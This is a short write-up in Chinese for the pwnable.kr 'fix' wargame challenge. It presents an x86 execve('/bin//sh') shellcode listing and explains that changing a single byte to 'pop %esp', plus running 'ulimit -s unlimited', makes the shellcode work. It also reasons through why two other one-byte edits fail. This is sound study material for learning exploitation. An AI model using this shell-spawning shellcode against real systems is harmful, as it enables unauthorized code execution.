Skip to content

Pwnable kr fix 题解

复制本地路径 | 在线编辑

要求: 修改下面的 shellcode, 只修改一个字节使其可以成功执行.

0 xor    %eax,%eax
1 push   %eax
2 push   0x68732f2f #/bin//sh 
3 push   0x6e69622f
4 mov    %ebx,%esp
5 push   %eax
6 push   %ebx
7 mov    %ecx,%esp
8 mov    %al, 0xb
9 int    0x80

PS: /bin//sh 没有问题, 无论多少个 / 都可以

错误做法

有几种方式是不可以的:

  1. Line 5: push %eax → leave

明确 ecxchar**,所以他会根据地址遍历,也就是逐个去访问 [ecx] 开始的表,直到遍历到 0

[ecx] = '/bin/sh',下面就看 [ecx]+4 是啥了。

Line 5 的 push %eax 就是把 [ecx]+4 变为0,所以要变这个,最后会失败。

  1. Line 1: push %eax → leave

明确 ebxchar*,按照正常来说,应该是'/bin//sh\0'

原来的push %eax相当于push 0,所以 /bin//sh 下面是0,但你改成leave,下面不是0,他就要根据下面存的东西去寻址,显然失败。

正确的做法

Line 5: push %eax → pop esp

0 xor    %eax,%eax
1 push   %eax
2 push   0x68732f2f #/bin//sh 
3 push   0x6e69622f
4 mov    %ebx,%esp
5 pop    %esp
6 push   %ebx
7 mov    %ecx,%esp
8 mov    %al, 0xb
9 int    0x80

前提是需要执行 ulimit -s unlimited,允许 esp 变成 0x6e69622f 这种值。

  1. 第一个问题:pop esp 后,ebx 还是指向 /bin 吗?/bin 已经被 pop 到 esp 了,为什么 ebx 指向的还是/bin

还是不够深入理解。pop之后原位置数据又不会清空!所以ebx指向原来的那个位置,那个位置里面还是/bin

  1. 第二个问题:这个和错误做法 1 有什么不同?

改变后的esp0x6e69622f,在gdb中调试,可以看到0x6e69622f及其后面几个都是0,所以错误做法 1 的错误原因可以规避掉。